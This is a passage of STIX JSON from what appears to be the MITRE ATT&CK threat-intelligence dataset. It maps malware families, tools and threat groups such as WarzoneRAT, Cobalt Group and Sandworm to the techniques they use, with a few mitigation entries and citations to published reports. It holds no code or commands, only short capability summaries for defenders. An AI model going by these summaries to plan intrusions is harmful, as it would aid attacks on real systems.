2022)","modified":"2022-06-02T12:32:30.329Z","relationship_type":"uses","source_ref":"malware--97cfbdc6-504d-41e9-a46c-78a9f806ff0d","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--7e941100-b4aa-43fa-a7c5-328fb211ecce","created":"2021-12-27T19:19:42.765Z","x_mitre_version":"1.0","external_references":[{"source_name":"Check Point Warzone Feb 2020","url":"https://research.checkpoint.com/2020/warzone-behind-the-enemy-lines/","description":"Harakhavik, Y. (2020, February 3). Warzone: Behind the enemy lines. Retrieved December 17, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[WarzoneRAT](https://attack.mitre.org/software/S0670) can use XOR 0x45 to decrypt obfuscated code.(Citation: Check Point Warzone Feb 2020)","modified":"2022-04-07T16:43:27.539Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--fde19a18-e502-467f-be14-58c71b4e7f4b","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7e9f9565-d9c5-47e5-a962-8dfa3dc77fc6","type":"relationship","created":"2020-08-31T13:34:16.038Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Valak July 2020","url":"https://unit42.paloaltonetworks.com/valak-evolution/","description":"Duncan, B. (2020, July 24). Evolution of Valak, from Its Beginnings to Mass Distribution. Retrieved August 31, 2020."}],"modified":"2020-08-31T13:34:16.038Z","description":"[Valak](https://attack.mitre.org/software/S0476) has been delivered via spearphishing e-mails with password protected ZIP files.(Citation: Unit 42 Valak July 2020)","relationship_type":"uses","source_ref":"malware--ade37ada-14af-4b44-b36c-210eec255d53","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7ea59e67-c82a-4e37-b6d2-2b0b61053924","created":"2022-06-01T17:02:49.064Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Tarrask scheduled task","description":"Microsoft Threat Intelligence Team & Detection and Response Team . (2022, April 12). Tarrask malware uses scheduled tasks for defense evasion. Retrieved June 1, 2022.","url":"https://www.microsoft.com/security/blog/2022/04/12/tarrask-malware-uses-scheduled-tasks-for-defense-evasion/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-18T14:47:07.925Z","description":"[Tarrask](https://attack.mitre.org/software/S1011) is able to create “hidden” scheduled tasks for persistence.(Citation: Tarrask scheduled task)","relationship_type":"uses","source_ref":"malware--988976ff-beeb-4fb5-b07d-ca7437ea66e8","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7eaf474f-7755-41d7-96c6-811889457be2","type":"relationship","created":"2020-06-29T04:05:19.072Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET ComRAT May 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf","description":"Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020."}],"modified":"2020-06-29T04:05:19.072Z","description":"[ComRAT](https://attack.mitre.org/software/S0126) can load a PE file from memory or the file system and execute it with CreateProcessW.(Citation: ESET ComRAT May 2020)","relationship_type":"uses","source_ref":"malware--da5880b4-f7da-4869-85f2-e0aba84b8565","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7eb1887a-2a3e-46f0-83c5-fe931c3a163b","created":"2021-11-22T16:44:34.346Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Profero APT27 December 2020","description":"Global Threat Center, Intelligence Team. (2020, December). APT27 Turns to Ransomware. Retrieved November 12, 2021.","url":"https://web.archive.org/web/20210104144857/https://shared-public-reports.s3-eu-west-1.amazonaws.com/APT27+turns+to+ransomware.pdf"},{"source_name":"Trend Micro DRBControl February 2020","description":"Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021.","url":"https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T20:05:38.083Z","description":"[RCSession](https://attack.mitre.org/software/S0662) can use HTTP in C2 communications.(Citation: Trend Micro DRBControl February 2020)(Citation: Profero APT27 December 2020)","relationship_type":"uses","source_ref":"malware--03acae53-9b98-46f6-b204-16b930839055","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7eb36f17-be21-4235-9a3b-736b17d089dc","created":"2021-06-11T20:13:18.501Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Malwarebytes Kimsuky June 2021","description":"Jazi, H. (2021, June 1). Kimsuky APT continues to target South Korean government using AppleSeed backdoor. Retrieved June 10, 2021.","url":"https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/"},{"source_name":"KISA Operation Muzabi","description":"KISA. (2021). Phishing Target Reconnaissance and Attack Resource Analysis Operation Muzabi. Retrieved March 8, 2024.","url":"https://web.archive.org/web/20220328121326/https://boho.or.kr/filedownload.do?attach_file_seq=2695&attach_file_id=EpF2695.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-30T17:31:57.413Z","description":"(Citation: Malwarebytes Kimsuky June 2021)(Citation: KISA Operation Muzabi)","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"malware--295721d2-ee20-4fa3-ade3-37f4146b4570","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7eb3d9b7-8058-4d26-9196-b9a79716c5f9","type":"relationship","created":"2020-03-17T01:31:14.507Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage","description":"Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.","source_name":"Dell TG-3390"},{"source_name":"ThreatStream Evasion Analysis","description":"Shelmire, A.. (2015, July 6). Evasive Maneuvers. Retrieved January 22, 2016.","url":"https://www.threatstream.com/blog/evasive-maneuvers-the-wekby-group-attempts-to-evade-analysis-via-custom-rop"}],"modified":"2020-03-17T01:31:14.507Z","description":"[HTTPBrowser](https://attack.mitre.org/software/S0070) has used DNS for command and control.(Citation: Dell TG-3390)(Citation: ThreatStream Evasion Analysis)","relationship_type":"uses","source_ref":"malware--e066bf86-9cfb-407a-9d25-26fd5d91e360","target_ref":"attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7ebe873c-07f5-43a7-a59f-9305f9ec55a5","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/n1nj4sec/pupy","description":"Nicolas Verdier. (n.d.). Retrieved January 29, 2018.","source_name":"GitHub Pupy"}],"modified":"2020-03-20T00:08:19.460Z","description":"[Pupy](https://attack.mitre.org/software/S0192) can execute Lazagne as well as [Mimikatz](https://attack.mitre.org/software/S0002) using PowerShell.(Citation: GitHub Pupy)","relationship_type":"uses","source_ref":"tool--cb69b20d-56d0-41ab-8440-4a4b251614d4","target_ref":"attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7ec1ddbb-57d1-4530-97d1-dd5d02cd3eb2","created":"2019-01-29T21:47:53.759Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos Micropsia June 2017","description":"Rascagneres, P., Mercer, W. (2017, June 19). Delphi Used To Score Against Palestine. Retrieved November 13, 2018.","url":"https://blog.talosintelligence.com/2017/06/palestine-delphi.html"},{"source_name":"Radware Micropsia July 2018","description":"Tsarfaty, Y. (2018, July 25). Micropsia Malware. Retrieved November 13, 2018.","url":"https://www.radware.com/blog/security/2018/07/micropsia-malware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-04T11:08:25.925Z","description":"[Micropsia](https://attack.mitre.org/software/S0339) can download and execute an executable from the C2 server.(Citation: Talos Micropsia June 2017)(Citation: Radware Micropsia July 2018)","relationship_type":"uses","source_ref":"malware--8c050cea-86e1-4b63-bf21-7af4fa483349","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7ec2b835-9c82-4a0a-9730-5f4b87e233f4","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Crowdstrike Global Threat Report Feb 2018","description":"CrowdStrike. (2018, February 26). CrowdStrike 2018 Global Threat Report. Retrieved October 10, 2018.","url":"https://crowdstrike.lookbookhq.com/global-threat-report-2018-web/cs-2018-global-threat-report"},{"source_name":"TrendMicro Cobalt Group Nov 2017","description":"Giagone, R., Bermejo, L., and Yarochkin, F. (2017, November 20). Cobalt Strikes Again: Spam Runs Use Macros and CVE-2017-8759 Exploit Against Russian Banks. Retrieved March 7, 2019.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/"},{"source_name":"RiskIQ Cobalt Nov 2017","description":"Klijnsma, Y.. (2017, November 28). Gaffe Reveals Full List of Targets in Spear Phishing Attack Using Cobalt Strike Against Financial Institutions. Retrieved October 10, 2018.","url":"https://web.archive.org/web/20190508170630/https://www.riskiq.com/blog/labs/cobalt-strike/"},{"source_name":"RiskIQ Cobalt Jan 2018","description":"Klijnsma, Y.. (2018, January 16). First Activities of Cobalt Group in 2018: Spear Phishing Russian Banks. Retrieved October 10, 2018.","url":"https://web.archive.org/web/20190508170147/https://www.riskiq.com/blog/labs/cobalt-group-spear-phishing-russian-banks/"},{"source_name":"Proofpoint Cobalt June 2017","description":"Mesa, M, et al. (2017, June 1). Microsoft Word Intruder Integrates CVE-2017-0199, Utilized by Cobalt Group to Target Financial Institutions. Retrieved October 10, 2018.","url":"https://www.proofpoint.com/us/threat-insight/post/microsoft-word-intruder-integrates-cve-2017-0199-utilized-cobalt-group-target"},{"source_name":"PTSecurity Cobalt Dec 2016","description":"Positive Technologies. (2016, December 16). Cobalt Snatch. Retrieved October 9, 2018.","url":"https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf"},{"source_name":"PTSecurity Cobalt Group Aug 2017","description":"Positive Technologies. (2017, August 16). Cobalt Strikes Back: An Evolving Multinational Threat to Finance. Retrieved September 5, 2018.","url":"https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-2017-eng.pdf"},{"source_name":"Talos Cobalt Group July 2018","description":"Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.","url":"https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-12-23T14:06:11.744Z","description":"[Cobalt Group](https://attack.mitre.org/groups/G0080) had exploited multiple vulnerabilities for execution, including Microsoft’s Equation Editor (CVE-2017-11882), an Internet Explorer vulnerability (CVE-2018-8174), CVE-2017-8570, CVE-2017-0199, and CVE-2017-8759.(Citation: Talos Cobalt Group July 2018)(Citation: PTSecurity Cobalt Group Aug 2017)(Citation: PTSecurity Cobalt Dec 2016)(Citation: Proofpoint Cobalt June 2017)(Citation: RiskIQ Cobalt Nov 2017)(Citation: RiskIQ Cobalt Jan 2018)(Citation: Crowdstrike Global Threat Report Feb 2018)(Citation: TrendMicro Cobalt Group Nov 2017)","relationship_type":"uses","source_ref":"intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a","target_ref":"attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7ec988a7-712a-45ae-b6b3-db26a6515b80","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Gazer Aug 2017","description":"ESET. (2017, August). Gazing at Gazer: Turla’s new second stage backdoor. Retrieved September 14, 2017.","url":"https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"},{"source_name":"Securelist WhiteBear Aug 2017","description":"Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.","url":"https://securelist.com/introducing-whitebear/81638/"}],"modified":"2020-03-17T01:22:43.703Z","description":"[Gazer](https://attack.mitre.org/software/S0168) can establish persistence by creating a .lnk file in the Start menu or by modifying existing .lnk files to execute the malware through cmd.exe.(Citation: ESET Gazer Aug 2017)(Citation: Securelist WhiteBear Aug 2017)","relationship_type":"uses","source_ref":"malware--76abb3ef-dafd-4762-97cb-a35379429db4","target_ref":"attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7ecd1b78-a3f1-4997-be47-68377eb59689","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"S2 Grupo TrickBot June 2017","description":"Salinas, M., Holguin, J. (2017, June). Evolution of Trickbot. Retrieved July 31, 2018.","url":"https://www.securityartwork.es/wp-content/uploads/2017/07/Trickbot-report-S2-Grupo.pdf"}],"modified":"2019-06-24T19:15:06.701Z","description":"[TrickBot](https://attack.mitre.org/software/S0266) collects local files and information from the victim’s local machine.(Citation: S2 Grupo TrickBot June 2017)","relationship_type":"uses","source_ref":"malware--00806466-754d-44ea-ad6f-0caf59cb8556","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7ed0bce7-c9b1-4c48-9e42-930f6006fa4d","created":"2021-10-15T20:27:54.938Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Dragos Crashoverride 2018","description":"Joe Slowik. (2018, October 12). Anatomy of an Attack: Detecting and Defeating CRASHOVERRIDE. Retrieved December 18, 2020.","url":"https://www.dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf"},{"source_name":"Microsoft Prestige ransomware October 2022","description":"MSTIC. (2022, October 14). New “Prestige” ransomware impacts organizations in Ukraine and Poland. Retrieved January 19, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2022/10/14/new-prestige-ransomware-impacts-organizations-in-ukraine-and-poland/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-27T19:42:16.095Z","description":"[Sandworm Team](https://attack.mitre.org/groups/G0034) has copied payloads to the `ADMIN$` share of remote systems and run net use to connect to network shares.(Citation: Dragos Crashoverride 2018)(Citation: Microsoft Prestige ransomware October 2022)","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7ed11b3a-c4c1-4c31-8614-d34a37d8a779","created":"2024-10-08T14:45:09.611Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-08T14:45:09.611Z","description":"Implement strict user account management policies to prevent unnecessary accounts from accessing sensitive systems. Regularly audit user accounts to identify and disable inactive accounts that may be targeted by attackers to extract credentials or gain unauthorized access.","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--315f51f0-6b03-4c1e-bfb2-84740afb8e21","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7ed13f1b-fa49-4b4e-9bc8-935012710d5f","created":"2022-08-18T15:37:37.231Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"DHS CISA AA22-055A MuddyWater February 2022","description":"FBI, CISA, CNMF, NCSC-UK. (2022, February 24). Iranian Government-Sponsored Actors Conduct Cyber Operations Against Global Government and Commercial Networks. Retrieved September 27, 2022.","url":"https://www.cisa.gov/uscert/ncas/alerts/aa22-055a"},{"source_name":"Mandiant UNC3313 Feb 2022","description":"Tomcik, R. et al. (2022, February 24). Left On Read: Telegram Malware Spotted in Latest Iranian Cyber Espionage Activity. Retrieved August 18, 2022.","url":"https://www.mandiant.com/resources/telegram-malware-iranian-espionage"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-14T15:23:17.971Z","description":"[STARWHALE](https://attack.mitre.org/software/S1037) can gather the username from an infected host.(Citation: Mandiant UNC3313 Feb 2022)(Citation: DHS CISA AA22-055A MuddyWater February 2022) ","relationship_type":"uses","source_ref":"malware--e355fc84-6f3c-4888-8e0a-d7fa9c378532","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7ed3bfbd-41a7-46c4-acf7-43330dd50784","type":"relationship","created":"2020-04-29T18:44:05.009Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos PoetRAT April 2020","url":"https://blog.talosintelligence.com/2020/04/poetrat-covid-19-lures.html","description":"Mercer, W, et al. (2020, April 16). PoetRAT: Python RAT uses COVID-19 lures to target Azerbaijan public and private sectors. Retrieved April 27, 2020."}],"modified":"2020-04-29T18:44:05.009Z","description":"[PoetRAT](https://attack.mitre.org/software/S0428) was delivered with documents using DDE to execute malicious code.(Citation: Talos PoetRAT April 2020)","relationship_type":"uses","source_ref":"malware--cc5497f7-a9e8-436f-94da-b2b4a9b9ad3c","target_ref":"attack-pattern--232a7e42-cd6e-4902-8fe9-2960f529dd4d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7ed93170-2dba-4e59-b0f0-7c716c73bdc0","type":"relationship","created":"2017-05-31T21:33:27.047Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bizeul 2014","description":"Bizeul, D., Fontarensky, I., Mouchoux, R., Perigaud, F., Pernet, C. (2014, July 11). Eye of the Tiger. Retrieved September 29, 2015.","url":"https://airbus-cyber-security.com/the-eye-of-the-tiger/"}],"modified":"2020-03-16T18:54:08.839Z","description":"(Citation: Bizeul 2014)","relationship_type":"uses","source_ref":"intrusion-set--fe98767f-9df8-42b9-83c9-004b1dec8647","target_ref":"tool--b07c2c47-fefb-4d7c-a69e-6a3296171f54","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7edbf524-1324-4c2b-b3ea-8bc1007943c4","created":"2022-09-15T17:38:27.679Z","revoked":false,"external_references":[{"source_name":"BlackBerry CostaRicto November 2020","description":"The BlackBerry Research and Intelligence Team. (2020, November 12). The CostaRicto Campaign: Cyber-Espionage Outsourced. Retrieved May 24, 2021.","url":"https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-15T17:38:27.679Z","description":"During [CostaRicto](https://attack.mitre.org/campaigns/C0004), threat actors used [PsExec](https://attack.mitre.org/software/S0029).(Citation: BlackBerry CostaRicto November 2020)","relationship_type":"uses","source_ref":"campaign--f9cc545e-b0ef-4b92-8884-a3a4427609f6","target_ref":"tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7ee1407c-ee33-47bc-824a-6f0dcd385462","created":"2023-02-09T20:33:00.754Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Palo Alto Brute Ratel July 2022","description":"Harbison, M. and Renals, P. (2022, July 5). When Pentest Tools Go Brutal: Red-Teaming Tool Being Abused by Malicious Actors. Retrieved February 1, 2023.","url":"https://unit42.paloaltonetworks.com/brute-ratel-c4-tool/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-09T20:35:14.466Z","description":"[Brute Ratel C4](https://attack.mitre.org/software/S1063) has the ability to deobfuscate its payload prior to execution.(Citation: Palo Alto Brute Ratel July 2022)","relationship_type":"uses","source_ref":"tool--75d8b521-6b6a-42ff-8af3-d97e20ce12a5","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7ee6890f-748e-419e-a442-7dd44e29958a","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto Comnie","description":"Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/"}],"modified":"2020-03-17T00:43:32.094Z","description":"[Comnie](https://attack.mitre.org/software/S0244) uses HTTP for C2 communication.(Citation: Palo Alto Comnie)","relationship_type":"uses","source_ref":"malware--f4c80d39-ce10-4f74-9b50-a7e3f5df1f2e","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7ee9b1ad-7f7b-4ae7-8cf4-8ab97b6a74b8","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/","description":"Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims’ Systems. Retrieved June 6, 2018.","source_name":"McAfee Gold Dragon"}],"modified":"2020-04-21T23:09:31.587Z","description":"[Gold Dragon](https://attack.mitre.org/software/S0249) encrypts data using Base64 before being sent to the command and control server.(Citation: McAfee Gold Dragon)","relationship_type":"uses","source_ref":"malware--b9799466-9dd7-4098-b2d6-f999ce50b9a8","target_ref":"attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7eeaeee6-9ac5-440f-9c31-2e4a915b637e","type":"relationship","created":"2019-07-17T21:33:42.484Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Wald0 Guide to GPOs","url":"https://wald0.com/?p=179","description":"Robbins, A. (2018, April 2). A Red Teamer’s Guide to GPOs and OUs. Retrieved March 5, 2019."},{"description":"Microsoft. (2008, September 11). Fun with WMI Filters in Group Policy. Retrieved March 13, 2019.","url":"https://blogs.technet.microsoft.com/askds/2008/09/11/fun-with-wmi-filters-in-group-policy/","source_name":"Microsoft WMI Filters"},{"source_name":"Microsoft GPO Security Filtering","url":"https://docs.microsoft.com/en-us/previous-versions/windows/desktop/Policy/filtering-the-scope-of-a-gpo","description":"Microsoft. (2018, May 30). Filtering the Scope of a GPO. Retrieved March 13, 2019."}],"modified":"2021-01-11T19:48:38.019Z","description":"Consider implementing WMI and security filtering to further tailor which users and computers a GPO will apply to.(Citation: Wald0 Guide to GPOs)(Citation: Microsoft WMI Filters)(Citation: Microsoft GPO Security Filtering)","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--ebb42bbe-62d7-47d7-a55f-3b08b61d792d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7eecb510-7937-40d2-b491-7d9165b5afc1","type":"relationship","created":"2021-10-12T20:13:42.399Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets","description":"Security Response Attack Investigation Team. (2018, June 19). Thrip: Espionage Group Hits Satellite, Telecoms, and Defense Companies. Retrieved July 10, 2018.","source_name":"Symantec Thrip June 2018"}],"modified":"2021-10-12T20:13:42.399Z","description":"[Thrip](https://attack.mitre.org/groups/G0076) has obtained and used tools such as [Mimikatz](https://attack.mitre.org/software/S0002) and [PsExec](https://attack.mitre.org/software/S0029).(Citation: Symantec Thrip June 